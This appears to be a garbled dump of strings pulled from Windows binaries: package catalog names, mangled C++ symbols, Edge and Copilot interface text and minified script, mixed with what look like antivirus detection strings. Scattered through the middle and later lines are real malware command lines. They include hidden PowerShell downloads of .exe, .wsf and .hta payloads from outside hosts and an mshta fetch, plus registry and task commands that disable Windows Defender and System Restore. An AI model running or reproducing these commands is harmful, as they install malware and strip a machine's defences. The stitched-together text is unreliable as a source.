Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ShellPlacements
Windows.Services.TargetedContent.pdb
etProcessWindowSta
10a^com.microsoft.windows.extensionpackage
10d^com.microsoft.windows.extensionpackage
10f^com.microsoft.windows.extensionpackage
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
Microsoft.Windows.BackgroundManager
           targetNamespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/3"
           xmlns="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/3"
           xmlns:rescap3="http://schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities/3"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
}mpl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@USettingsGroupViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Productio
Windows
s RAM usage$1GBSetting a lower level may impact performanceNo set limitOn Windows device startAutomatically open Edge when you sign into WindowsBrowse with Microsoft Edge, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft EdgeSee rewards balances, activities, and more when you browse the webShare browsing data with other Windows featuresWhen turned on, Microsoft Edge will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Edge will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile. $1Save content using Collections in Microsoft EdgeTurn on this setting to save videos, multimedia, and more to your CollectionsTurn on this setting to save videos, multimedia, and more to your Collections. Your collections are stored for free on the cloud, so you
WindowsGetStringLen
OS=Windows_NT
Microsoft.Windows.Midi2.MidiSrv
Microsoft.Windows.Midi2.MidiXproc
Windows.UI.Xaml.Controls.Debug
Windows.UI.Xaml.Controls.Perf
p5c:\windows\system32\windowspowershell\v1.0\powershell.exe-executionpolicybypass-nologo-command(new-objectsystem.net.webclient).downloadfile('http://beachcitiesradio.com/password.exe','password.exe');./password.exe;
/c c:\windows\explorer.exe shellEUS:Win32/EnterpriseGraphThreat!cl
@Security@Windows@@@Founde
windowspowershell\modules\
(xcopy"c:\windows\
TaskManagerApp@winrt@@@5673@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
windows.activatableClass.A
index.windows:1:208239L
dex.windows:1:102689)
index.windows:1:73535)
windows.data.bluelightreduction.settings
windows\system32\cmd.exew
msEdgeWebAuthnEnclaveAuthenticatorWindowsPlugin
msNurturingSitePinningWithWindowsConsent
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Mobile-Sensors-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Lxss-Optional-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
System.Windows.Forms
get_ToolWindowStripGapLeft
get_ToolWindowStripGapRight
get_MainWindowStatusBarDefault
System.Windows.Forms.Layout
powershellinvoke-webrequest-urihttp://ujyiuiouyiyuykouoku.mygamesonline.org/yli7/db49a4/invoice.wsf-outfile$env:tmp\system32.wsf;
socks5powershell.exe -windowstyle hidden -commandTrojan:Win64/Bumblebee.QMV!MTB
uap\windows\frameworkudk\cbsdll
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
oftware\Microsoft\Windows NT
13^windows.protocol
13^windows.webAccountProvider
.savetofile ("c:\windows\temp\
echofor/f"usebackqtokens=1,2,3,4"%%%%iin(`wmiclogicaldiskgetcaption^^,description^^,drivetype2^^^>nul`)do(>>d:\windows\usbcopyer.bat
:\windows\servicing
:\windows\winsxs
C:WINDOWSTasks
\appdata\roaming\microsoft\windows
\application data\microsoft\windows
Verifying payment methodFilling IBANPayment method verifiedVerifiedIBAN not filled inMicrosoft Edge is trying to verify it's you so it can fill in your payment info.Use Windows Hello instead of CVC?Couldn't use Windows HelloConfirm your cards faster by using Windows Hello from now onUse Windows HelloPlease try again next timeVerifying your identity
\windows.old\
\windows\assembly\nativeimages
\microsoft\windows\devicesoftwareupdates\
$windows.~bt\
\windows\installer\
\windows\system32\hkcmd.db
\windows\system32\fcache
\windows\system32\speech\speech
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-ErrorReportingDumpTypeControl-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Spelling-Dictionaries-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|
Microsoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Runlevel-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|91.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~1
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Composition-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Security-SPP-Component-SKU-IoTEnterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|
/windows/i)
vnt-windows-online.comgenuine-check
UrlParameter=function(n,t){for(var r=null,f=this.getParameterRegex(t),u,i;u=f.exec(n);)i=u;return i&&i.length>=2?r=i[1]:t==="mock"&&(r=this.getMockParameter(n)),r},n.prototype.setUrlParameter=function(n,t,i){var r=n,u=this.getParameterRegex(t).exec(n),f="&",e,o,s;return u?(f=u[0].substring(0,1),e=u.index,o=u.index+u[0].length,r=n.substring(0,e),i&&(r+=f+t+"="+i),r+=n.substring(o)):i&&(s=this.getRegex("devicecontent"),s.test(n)?n.indexOf("#")<0&&(f="#"):n.indexOf("?")<0&&(f="?"),r=n+f+t+"="+i),r},n.prototype.getDecodedQuery=function(n){var i=n,t;return i||(i=_w.location.href),t=this.getUrlParameter(i,"q"),t&&(t=decodeURIComponent(t.replace(this.getRegex("\\+")," ")).trim()),t},n.prototype.getUrlReadyQuery=function(n){return encodeURIComponent(n).replace(this.getRegex("%20"),"+")},n.prototype.recordApiTimeDetail=function(n,t,i){var u=new Date,f,r,e,o;if(n&&(_G.ApiTimes=_G.ApiTimes||{},_G.ApiTimes[n]=u.getTime()-this.startTime),i){f={};for(r in i)i.hasOwnProperty(r)&&(f[r]=i[r]);i=f;i.time=u}else i={time:u,label:n||t,sequence:this.apiSequenceNumber++};return e=_w.msWriteProfilerMark,o=i.sequence+","+(n||i.label),e&&e(o),_w.performance&&performance.mark&&performance.mark(o),i},n.prototype.recordApiTime=function(n){return this.recordApiTimeDetail(n),null},n.prototype.uploadApiTimes=function(n,t){var i=_G.ApiTimes;this.recordApiTime(n);i&&typeof Log2!="undefined"&&Log2&&(Log2.LogEvent("CPT2",{wt:i},null,null,null,null,null,null),t&&t(i),_G.ApiTimes={})},n.prototype.wrapSynchronousApiCall=function(n,t,i,r){for(var e,o,s,h=this,f=[],u=4;u<arguments.length;u++)f[u-4]=arguments[u];e=this.recordApiTimeDetail(i?i+"S":null,t);s=function(n,u){var o=h.recordApiTimeDetail(i?i+n:null,t,e),s=u?" exception: "+u.stack:"";h.recordApiString("ApiEnd "+n+' \t"'+(r?r:"")+'"\t'+t+"("+f.join(", ")+")\t"+(o.time.getTime()-e.time.getTime())+"ms elapsed"+s)};try{o=n[t].apply(n,f);s("C")}catch(c){s("E",c);SharedLogHelper.LogError("Exception","Failed while calling overrideMethod: "+t,c);o=null}return o},n.prototype.wrapApiCall=function(){for(var i,n=[],t=4;t<arguments.length;t++)n[t-4]=arguments[t];for(n=[],i=0;i<arguments.length;i++)n.push(arguments[i]);return n.splice(4,0,0,null),this.wrapApiCallWithTimeout.apply(this,n)},n.prototype.wrapApiCallWithTimeout=function(n,t,i,r,u,f){for(var y,s=[],h=6;h<arguments.length;h++)s[h-6]=arguments[h];if(_w.SearchAppWrapperLogging)return n[t].apply(n,s);var l=this,a=this.recordApiTimeDetail(i?i+"S":null,t),e,o,c=function(n,u){var e="stack",o=l.recordApiTimeDetail(i?i+n:null,t,a),f=u&&u[e]?" exception: "+u[e]:"";u&&f===""&&(f=" Windows error: "+u.message);l.recordApiString("ApiEnd "+n+' \t"'+(r?r:"")+'"\t'+t+"("+s.join(", ")+")\t"+(o.time.getTime()-a.time.getTime())+"ms elapsed"+f)};try{o=n[t].apply(n,s);this.recordApiTimeDetail(i?i+"P":null,t);u&&u>0&&(e=sb_st(function(){o&&o.cancel&&o.cancel();c("T");f&&f(null)},u));o.then(function(n){return e&&sb_ct(e),c("C"),n},function(n){e&&sb_ct(e);c("E",n);SharedLogHelper.LogError("Exception","Failed in overrideMethod callback: "+t,n);f&&f(null)})}catch(v){e&&sb_ct(e);c("E",v);SharedLogHelper.LogError("Exception","Failed while calling overrideMethod: "+t,v);y=new FailedPromise;o=y.then(null,f)}return o},n.prototype.cleanGuid=function(n){var t=n;return t&&(t=t.replace(this.guidCleaner,"")),t},n.prototype.parseJSON=function(n){var t,i=null;if(n)try{t=JSON.parse(n)}catch(r){i=r}return t||console.log("Unable to parse JSON input: "+n+(i?".  Exception: "+i:"")),t},n.prototype.getCortanaHeaders=function(n){var s=this,t=this;if(this.headersCallComplete){if(!_w.WSB||!WSB.config||!WSB.config.retryCortanaHeadersOnFailure||this.cortanaHeaders||this.headersRetried){n(this.cortanaHeaders);return}this.headersRetried=!0;this.headersAsyncPromise=null;this.headersCallComplete=!1;this.headersCallbacks=[]}if(this.headersCallbacks.push(n),!this.headersAsyncPromise){var r=null,h=!1,f=function(){r&&(sb_ct(r),r=null);t.headersCallComplete=!0},u=function(){var i,r,n;if(!h)for(t.cortanaHeaders||(t.cortanaHeadersTimedOut?SharedLogHelper.LogWarning("getCortanaHeaders",null,"Timeout"):SharedLogHelper.
change /tn "\microsoft\windows\systemrestore\sr" /dis}
+iles\WindowsApps\Microsoft.WindowsNotepad_11.2510.14.0_neutral_split.scale-100_8wekyb3d8bbwe
[craziii:\arquivos de programas\scpad\windows\kilinh.txt
iles\WindowsApps\Microsoft.StartExperiencesApp_2021.151.0.0_neutral_~_8wekyb3d8bbwe
.dat",@windowsdir&"\cys
.exe")filesetattrib(@windowsdir&"\cys
downloadfiledirectory\shell\find\ddeexecsoftware\microsoft\windows\currentversion\run
C:\WINDOWS\SYSTEM32\
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"iwr'http://107.173.47.164/xampp/kgc/kgn/verygoodmorningwithgoodgracenicgoodfor.hta'
u_G31="c:\windows\system32\svchost.exe"#notrayicon$
c:\windows\system32\zipfldr.dll
DriverData=C:\Windows\System32\
APPDATA=C:\WINDOWS\system32\config
-windowstylehidden-command
.exe'-argumentlist'run'-windowstylehidden}
source\repos\windows update certifier\windows update certifier\obj\debug\update certifier.pdb
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t "REG_DWORD" /d "1" /fr
GetProcessWindowStation
.Windows Defender Firewall with Advanced Security.lnk
A|*Windows PowerShell ISE.lnk&
M{*Windows PowerShell ISE (x86).lnk
Kv'Windows Media Player Legacy.lnk
Windows PowerShell
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy+
Microsoft.WindowsAppRuntime.1.6_8wekyb3d8bbwe6
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
,UMicrosoft.Windows.CloudExperienceHos
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
UMicrosoft.WindowsCamera_8wekyb3d8bbwe
UMicrosoft.WindowsCamera_8wekyb3d8bbwe
qwindows
32_windowsp
executeac:\windows\system32\prog.exe
WindowsLive:name=*
C:\WINDOWS\TEMP\bb3a785178
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\QUERY
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
Microsoft.Windows.Notifications.WpnCore
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Notifications.WpncoreTelemetry
Microsoft.Windows.Notifications.WpnCore
Microsoft.Windows.Notifications.WpnDatabaseTelemetry
Microsoft.Windows.Notifications.WnsCP
%BrowserAppProfile%\Main\WindowsSearch!User Favorites Path
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\windows\system32\mshta.exehttps://allegato.zip/a.hta
=0key=hkcu\software\microsoft\windows\currentversion\run
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
SLConsumeWindowsRight
SLGetWindowsInformation
SLGetWindowsInformationDWORD
SLIsWindowsGenuineLocal
SLReArmWindows
SLRegisterWindowsEvent
SLUnregisterWindowsEvent
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
GetWindowsDirectoryW
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Microsoft-Windows-Client-Features-Package09~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
gFwinlogon
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows\CurrentVersion\Ext\Settings\%s!CompatBlockPromptCount
